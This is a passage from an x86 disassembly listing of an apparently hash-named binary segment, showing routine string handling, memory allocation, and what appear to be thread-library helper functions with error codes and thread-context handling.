[esp+24h] push esi push 32h push edx call sub_428340 add esp, 18h test eax, eax jnz short loc_429898 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_429898: ; CODE XREF: _294ADE7B:0042988Bj push ebx lea eax, [esp+1Ch] push offset dword_43F9C8 push eax call edi push esi lea ecx, [esp+28h] push 32h push ecx call sub_428340 add esp, 18h test eax, eax jz short loc_4298F4 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_43F9C0 push esi call ds:dword_4B3A70 add esp, 10h cmp eax, 2 jnz short loc_4298F4 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_4298F4: ; CODE XREF: _294ADE7B:004298B7j ; _294ADE7B:004298D8j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_429950: ; CODE XREF: _294ADE7B:00401361j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_429980 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_429980: ; CODE XREF: _294ADE7B:00429975j push esi push edx lea eax, [esp+10h] push offset dword_43F9D4 push eax call ds:dword_4B3A4C mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_428340 add esp, 18h test eax, eax jnz short loc_4299BB xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_4299BB: ; CODE XREF: _294ADE7B:004299ABj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax call ds:dword_4B3AE0 add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A20 proc near ; CODE XREF: sub_40161Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_4295A0 add esp, 14h retn sub_429A20 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A50: ; CODE XREF: _294ADE7B:00401636j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_4295A0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A80: ; CODE XREF: _294ADE7B:0040143Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_429B19 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_429B19 mov esi, ds:dword_4B3A4C push edx lea eax, [esp+10h] push offset dword_43F9EC push eax call esi mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_428340 add esp, 18h test eax, eax jz short loc_429B19 push ebx lea edx, [esp+10h] push offset dword_43F9E0 push edx call esi push edi lea eax, [esp+1Ch] push 32h push eax call sub_428340 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_429B19: ; CODE XREF: _294ADE7B:00429AA1j ; _294ADE7B:00429ABCj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_429B60: ; CODE XREF: _294ADE7B:00401B4Aj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_429B89 add esp, 100h retn ; --------------------------------------------------------------------------- loc_429B89: ; CODE XREF: _294ADE7B:00429B80j push edx lea eax, [esp+4] push offset dword_43F9F8 push eax call ds:dword_4B3A4C mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_428340 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429BE0 proc near ; CODE XREF: sub_401C2Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_429C19 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_428340 mov eax, [esi+8] add esp, 0Ch push eax call sub_430A26 mov ecx, [esi+14h] mov edi, ds:dword_4B3AAC push ecx call edi push esi call edi add esp, 8 pop edi loc_429C19: ; CODE XREF: sub_429BE0+Aj pop esi retn sub_429BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429C30: ; CODE XREF: _294ADE7B:00402013j push edi mov edi, [esp+8] test edi, edi jnz short loc_429C40 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_429C40: ; CODE XREF: _294ADE7B:00429C37j push 1Ch call ds:dword_4B3AB0 add esp, 4 test eax, eax jnz short loc_429C56 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_429C56: ; CODE XREF: _294ADE7B:00429C4Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429CB0: ; CODE XREF: _294ADE7B:004014B0j push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jz short loc_429CC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_429CC9: ; CODE XREF: _294ADE7B:00429CC0j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call ds:dword_4B3AAC add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D00: ; CODE XREF: _294ADE7B:0040129Ej push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_429D25 test eax, eax jz short loc_429D25 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_429D25: ; CODE XREF: _294ADE7B:00429D14j ; _294ADE7B:00429D18j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D50: ; CODE XREF: _294ADE7B:0040134Dj push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jz short loc_429D69 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_429D69: ; CODE XREF: _294ADE7B:00429D60j mov eax, [esp+0Ch] test eax, eax jz short loc_429D7D cmp eax, 1 jz short loc_429D7D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_429D7D: ; CODE XREF: _294ADE7B:00429D6Fj ; _294ADE7B:00429D74j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429DA0: ; CODE XREF: _294ADE7B:004014ABj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429DC0: ; CODE XREF: _294ADE7B:0040176Cj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429DE0: ; CODE XREF: _294ADE7B:00401307j push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jz short loc_429DF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_429DF9: ; CODE XREF: _294ADE7B:00429DF0j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429E20: ; CODE XREF: _294ADE7B:0040204Aj push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jz short loc_429E39 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_429E39: ; CODE XREF: _294ADE7B:00429E30j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429E60: ; CODE XREF: _294ADE7B:004018C5j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429E90: ; CODE XREF: _294ADE7B:004018C0j mov eax, [esp+8] sub eax, 0 jz short loc_429EB2 dec eax jz short loc_429EA2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_429EA2: ; CODE XREF: _294ADE7B:00429E9Aj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_429EB2: ; CODE XREF: _294ADE7B:00429E97j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429ED0: ; CODE XREF: _294ADE7B:00401B04j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_429F6B mov edi, [esp+18h] test edi, edi jz loc_429F6B push 18h push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jz short loc_429F62 mov eax, [esp+14h] test eax, eax jz short loc_429F10 mov eax, [eax] test eax, eax jz short loc_429F10 mov eax, [eax] jmp short loc_429F12 ; --------------------------------------------------------------------------- loc_429F10: ; CODE XREF: _294ADE7B:00429F04j ; _294ADE7B:00429F0Aj xor eax, eax loc_429F12: ; CODE XREF: _294ADE7B:00429F0Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401B59 add esp, 0Ch test eax, eax jnz short loc_429F58 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401B59 add esp, 0Ch test eax, eax jnz short loc_429F4F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_429F4F: ; CODE XREF: _294ADE7B:00429F47j push edi call sub_4015FA add esp, 4 loc_429F58: ; CODE XREF: _294ADE7B:00429F32j push esi call ds:dword_4B3AAC add esp, 4 loc_429F62: ; CODE XREF: _294ADE7B:00429EFCj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_429F6B: ; CODE XREF: _294ADE7B:00429ED9j ; _294ADE7B:00429EE5j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_429FB0: ; CODE XREF: _294ADE7B:0040204Fj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42A018 mov esi, [ebp+0] test esi, esi jz short loc_42A018 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_4015FA mov edi, eax add esp, 4 test edi, edi jnz short loc_42A00E lea eax, [esi+14h] push eax call sub_4015FA mov edi, eax add esp, 4 test edi, edi jnz short loc_429FFF push esi call ds:dword_4B3AAC add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_429FFF: ; CODE XREF: _294ADE7B:00429FECj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401B59 add esp, 0Ch loc_42A00E: ; CODE XREF: _294ADE7B:00429FDAj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42A018: ; CODE XREF: _294ADE7B:00429FBAj ; _294ADE7B:00429FC1j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A050: ; CODE XREF: _294ADE7B:004016EFj mov eax, [esp+4] push esi test eax, eax jz loc_42A104 mov esi, [eax] test esi, esi jz loc_42A104 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] call ds:dword_4B3850 test eax, eax jnz short loc_42A097 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42A0E4 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_401EDD add esp, 8 mov esi, eax jmp short loc_42A0E0 ; --------------------------------------------------------------------------- loc_42A097: ; CODE XREF: _294ADE7B:0042A078j push ebx call sub_4012AD mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42A0BB lea ecx, [esp+14h] push ecx push ebx call sub_4013B6 add esp, 8 test eax, eax jz short loc_42A0BD loc_42A0BB: ; CODE XREF: _294ADE7B:0042A0A7j xor ebx, ebx loc_42A0BD: ; CODE XREF: _294ADE7B:0042A0B9j lea edx, [esi+edi*4+10h] push edx call sub_40103C add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42A0E0 mov eax, [esp+10h] push 0 push eax call sub_4013B6 add esp, 8 loc_42A0E0: ; CODE XREF: _294ADE7B:0042A095j ; _294ADE7B:0042A0CFj test esi, esi jnz short loc_42A0FE loc_42A0E4: ; CODE XREF: _294ADE7B:0042A082j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call ds:dword_4B26F4 xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42A0FE: ; CODE XREF: _294ADE7B:0042A0E2j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42A104: ; CODE XREF: _294ADE7B:0042A057j ; _294ADE7B:0042A061j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A140: ; CODE XREF: _294ADE7B:00401E06j push esi push 4 push 1 xor esi, esi call ds:dword_4B3A64 add esp, 8 test eax, eax jnz short loc_42A163 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42A163: ; CODE XREF: _294ADE7B:0042A152j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A190: ; CODE XREF: _294ADE7B:00401992j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42A1B1 mov eax, [ecx] test eax, eax jz short loc_42A1B1 push eax mov [ecx], esi call ds:dword_4B3AAC add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42A1B1: ; CODE XREF: _294ADE7B:0042A199j ; _294ADE7B:0042A19Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A1D0: ; CODE XREF: _294ADE7B:00401249j mov eax, [esp+4] test eax, eax jz short loc_42A1ED mov eax, [eax] test eax, eax jz short loc_42A1ED mov ecx, [esp+8] test ecx, ecx jz short loc_42A1ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42A1ED: ; CODE XREF: _294ADE7B:0042A1D6j ; _294ADE7B:0042A1DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A210: ; CODE XREF: _294ADE7B:004015AAj mov eax, [esp+4] test eax, eax jz short loc_42A23A mov ecx, [eax] test ecx, ecx jz short loc_42A23A mov eax, [esp+8] cmp eax, 1 jz short loc_42A22E test eax, eax jnz short loc_42A23A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42A22E: ; CODE XREF: _294ADE7B:0042A225j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42A23A: ; CODE XREF: _294ADE7B:0042A216j ; _294ADE7B:0042A21Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A250 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi call sub_4012AD mov esi, eax test esi, esi jz short loc_42A2D8 mov edi, [esp+8+arg_0] test edi, edi jz short loc_42A26A cmp edi, 1 jnz short loc_42A2D8 loc_42A26A: ; CODE XREF: sub_42A250+13j push ebx lea ebx, [esi+2Ch] push ebx call sub_40208B mov eax, [esp+10h+arg_4] add esp, 4 test eax, eax jz short loc_42A284 mov ecx, [esi+30h] mov [eax], ecx loc_42A284: ; CODE XREF: sub_42A250+2Dj test edi, edi mov [esi+30h], edi jnz short loc_42A2C9 mov eax, [esi+34h] test eax, eax jnz short loc_42A2C9 mov edx, [esi+38h] push edi push edx call ds:dword_4B3848 test eax, eax jnz short loc_42A2C9 mov eax, [esi+38h] mov dword ptr [esi+0Ch], 3 push eax mov dword ptr [esi+30h], 1 call ds:dword_4B384C push ebx call sub_4010AF push 2 call sub_401CA8 add esp, 8 loc_42A2C9: ; CODE XREF: sub_42A250+39j ; sub_42A250+40j ... push ebx call sub_4010AF add esp, 4 xor eax, eax pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42A2D8: ; CODE XREF: sub_42A250+Bj ; sub_42A250+18j pop edi mov eax, 16h pop esi retn sub_42A250 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A310: ; CODE XREF: _294ADE7B:0040209Fj push ebx push esi call sub_4012AD mov esi, eax test esi, esi jz short loc_42A398 mov ebx, [esp+0Ch] cmp ebx, 1 jz short loc_42A32A test ebx, ebx jnz short loc_42A398 loc_42A32A: ; CODE XREF: _294ADE7B:0042A324j push edi lea edi, [esi+2Ch] push edi call sub_40208B mov eax, [esp+18h] add esp, 4 test eax, eax jz short loc_42A344 mov ecx, [esi+34h] mov [eax], ecx loc_42A344: ; CODE XREF: _294ADE7B:0042A33Dj mov eax, [esi+30h] mov [esi+34h], ebx test eax, eax jnz short loc_42A389 test ebx, ebx jnz short loc_42A389 mov edx, [esi+38h] push ebx push edx call ds:dword_4B3848 test eax, eax jnz short loc_42A389 mov eax, [esi+38h] mov dword ptr [esi+0Ch], 3 push eax mov dword ptr [esi+30h], 1 call ds:dword_4B384C push edi call sub_4010AF push 2 call sub_401CA8 add esp, 8 loc_42A389: ; CODE XREF: _294ADE7B:0042A34Cj ; _294ADE7B:0042A350j ... push edi call sub_4010AF add esp, 4 xor eax, eax pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42A398: ; CODE XREF: _294ADE7B:0042A31Bj ; _294ADE7B:0042A328j pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A3D0 proc near ; CODE XREF: sub_401BCCj push esi push edi call sub_4012AD mov esi, eax lea edi, [esi+2Ch] push edi call sub_40208B add esp, 4 test esi, esi jz short loc_42A41D cmp dword ptr [esi+30h], 1 jz short loc_42A41D mov eax, [esi+38h] push 0 push eax call ds:dword_4B3848 test eax, eax jnz short loc_42A41D push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010AF push 2 call sub_401CA8 add esp, 8 loc_42A41D: ; CODE XREF: sub_42A3D0+17j ; sub_42A3D0+1Dj ... push edi call sub_4010AF add esp, 4 pop edi pop esi retn sub_42A3D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A450: ; CODE XREF: _294ADE7B:00401C03j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_4016B3 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42A589 call sub_4012AD test eax, eax jnz short loc_42A48B mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42A48B: ; CODE XREF: _294ADE7B:0042A47Cj push ebx push ebp push edi push eax push esi call sub_40196F lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_40208B mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42A562 mov eax, [esi+30h] test eax, eax jnz loc_42A562 cmp [esi+0Ch], ebp jge loc_42A575 test edi, edi jz short loc_42A4F4 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010AF push 2 call sub_401CA8 mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42A4F4: ; CODE XREF: _294ADE7B:0042A4C9j mov edi, [esi+4] push edi call ds:dword_4B3834 push 0 push edi call ds:dword_4B3848 cmp eax, 102h jnz short loc_42A582 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h call ds:dword_4B3838 lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42A600 push ecx push edi call ds:dword_4B383C push ebx call sub_4010AF add esp, 4 push edi call ds:dword_4B3840 mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42A562: ; CODE XREF: _294ADE7B:0042A4ADj ; _294ADE7B:0042A4B8j cmp [esi+0Ch], ebp jge short loc_42A575 mov edx, [esi+38h] push edx call ds:dword_4B3844 test eax, eax jnz short loc_42A579 loc_42A575: ; CODE XREF: _294ADE7B:0042A4C1j ; _294ADE7B:0042A565j mov [esp+10h], ebp loc_42A579: ; CODE XREF: _294ADE7B:0042A573j push ebx call sub_4010AF add esp, 4 loc_42A582: ; CODE XREF: _294ADE7B:0042A50Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42A589: ; CODE XREF: _294ADE7B:0042A46Fj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A600: ; DATA XREF: _294ADE7B:0042A530o push 2 call sub_401CA8 pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A620 proc near ; CODE XREF: sub_401109j arg_0 = dword ptr 4 mov eax, ds:dword_4B26E4 push esi push eax call sub_40116D mov esi, eax add esp, 4 test esi, esi jz short loc_42A65E mov eax, [esp+4+arg_0] test eax, eax jz short loc_42A64C mov eax, [esi] test eax, eax jz short loc_42A64C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42A64C: ; CODE XREF: sub_42A620+1Bj ; sub_42A620+21j mov edx, [esi+8] mov eax, ds:dword_4B26E4 push edx push eax call sub_401F5A add esp, 8 loc_42A65E: ; CODE XREF: sub_42A620+13j mov eax, esi pop esi retn sub_42A620 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A690 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, ds:dword_4B26E4 push edx call sub_40116D mov [esi+8], eax mov eax, ds:dword_4B26E4 push esi push eax call sub_401F5A add esp, 0Ch pop esi retn sub_42A690 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A6E0 proc near ; CODE XREF: sub_401A5Aj arg_0 = dword ptr 4 push esi push offset dword_4B2760 xor esi, esi call ds:dword_4B3868 mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42A714 push esi push ecx call sub_4014D8 add esp, 8 mov esi, eax push offset dword_4B2760 call ds:dword_4B386C mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42A714: ; CODE XREF: sub_42A6E0+17j test eax, eax jnz short loc_42A71D mov esi, 16h loc_42A71D: ; CODE XREF: sub_42A6E0+36j push offset dword_4B2760 call ds:dword_4B386C mov eax, esi pop esi retn sub_42A6E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A750: ; CODE XREF: _294ADE7B:00401F7Dj push esi push 4 push 1 xor esi, esi call ds:dword_4B3A64 add esp, 8 test eax, eax jnz short loc_42A773 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42A773: ; CODE XREF: _294ADE7B:0042A762j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A790: ; CODE XREF: _294ADE7B:0040203Bj push esi mov esi, [esp+8] test esi, esi jz short loc_42A7B3 mov eax, [esi] test eax, eax jz short loc_42A7B3 push eax call ds:dword_4B3AAC add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42A7B3: ; CODE XREF: _294ADE7B:0042A797j ; _294ADE7B:0042A79Dj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A7D0: ; CODE XREF: _294ADE7B:00401005j mov eax, [esp+4] test eax, eax jz short loc_42A7ED mov eax, [eax] test eax, eax jz short loc_42A7ED mov ecx, [esp+8] test ecx, ecx jz short loc_42A7ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42A7ED: ; CODE XREF: _294ADE7B:0042A7D6j ; _294ADE7B:0042A7DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42A810: ; CODE XREF: _294ADE7B:00401276j mov eax, [esp+4] test eax, eax jz short loc_42A83A mov ecx, [eax] test ecx, ecx jz short loc_42A83A mov eax, [esp+8] cmp eax, 1 jz short loc_42A82E test eax, eax jnz short loc_42A83A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42A82E: ; CODE XREF: _294ADE7B:0042A825j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42A83A: ; CODE XREF: _294ADE7B:0042A816j ; _294ADE7B:0042A81Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A850 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42A866 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42A866: ; CODE XREF: sub_42A850+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42A88D mov eax, [eax] cmp eax, edi jz short loc_42A88D cmp dword ptr [eax], 1 jnz short loc_42A88D mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42A88D: ; CODE XREF: sub_42A850+1Ej ; sub_42A850+24j ... push 20h push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42A8B2 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42A8B2: ; CODE XREF: sub_42A850+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401B59 add esp, 0Ch test eax, eax jz short loc_42A8D7 call ds:dword_4B3A50 mov edi, [eax] jmp short loc_42A91B ; --------------------------------------------------------------------------- loc_42A8D7: ; CODE XREF: sub_42A850+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401B59 add esp, 0Ch test eax, eax jz short loc_42A8F5 call ds:dword_4B3A50 mov edi, [eax] jmp short loc_42A912 ; --------------------------------------------------------------------------- loc_42A8F5: ; CODE XREF: sub_42A850+99j lea eax, [esi+14h] push 0 push eax call sub_40200E mov edi, eax add esp, 8 test edi, edi jz short loc_42A97F push ebx call sub_4015FA add esp, 4 loc_42A912: ; CODE XREF: sub_42A850+A3j push ebp call sub_4015FA add esp, 4 loc_42A91B: ; CODE XREF: sub_42A850+85j push esi call ds:dword_4B3AAC add esp, 4 xor esi, esi test edi, edi jnz short loc_42A972 